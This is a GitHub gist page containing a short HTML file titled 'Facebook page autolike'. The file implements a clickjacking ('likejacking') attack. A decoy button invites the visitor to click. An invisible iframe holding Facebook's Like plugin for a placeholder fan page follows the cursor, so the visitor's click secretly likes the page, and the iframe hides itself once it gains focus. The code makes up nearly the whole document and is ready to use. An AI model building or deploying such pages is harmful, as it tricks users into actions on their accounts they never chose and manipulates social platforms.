Last active
April 28, 2017 21:10
-
-
Save gengue/5e47d7bfe2bd3e26f5c9c0576e02eeb5 to your computer and use it in GitHub Desktop.
Facebook page autolike
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<meta name="viewport" content="width=device-width"> | |
<title>AutoLike Test</title> | |
<style type="text/css" media="screen"> | |
#iframe-wrapper { | |
overflow: hidden; | |
width: 10px; | |
height: 12px; | |
position: absolute; | |
filter:alpha(opacity=0); | |
-moz-opacity:0.0; | |
-khtml-opacity: 0.0; | |
opacity: 0.0; | |
} | |
</style> | |
</head> | |
<body> | |
<h1>My Page :)</h1> | |
<button>See "Uso carruso" Gifs</button> | |
<div id="iframe-wrapper"> | |
<iframe src="https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/FAN_PAGE&send=false&layout=button_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=21&confirm=false" scrolling="no" frameborder="0" style="border:none;overflow:hidden;width:450px;height:21px;" allowTransparency="false"></iframe> | |
</div> | |
<script type="text/javascript"> | |
var iframeWrapper = document.querySelector('#iframe-wrapper'); | |
var standardBody = (document.compatMode=="CSS1Compat") ? document.documentElement : document.body; | |
function mouseFollower(e) { | |
// for internet explorer | |
if (window.event) { | |
iframeWrapper.style.top = (window.event.y-5)+standardBody.scrollTop+'px'; | |
iframeWrapper.style.left = (window.event.x-5)+standardBody.scrollLeft+'px'; | |
} | |
else { | |
iframeWrapper.style.top = (e.pageY-5)+'px'; | |
iframeWrapper.style.left = (e.pageX-5)+'px'; | |
} | |
} | |
document.addEventListener("mousemove", mouseFollower); | |
var interval = 0; | |
var frameSrc = 'https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/FAN_PAGE&send=false&layout=button_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=21&confirm=false'; | |
function updateActiveElement() { | |
if(document.activeElement.src == frameSrc) { | |
clearInterval(interval); | |
document.removeEventListener("mousemove", null); | |
iframeWrapper.style.display = 'none'; | |
} | |
} | |
interval = setInterval(updateActiveElement, 50); | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment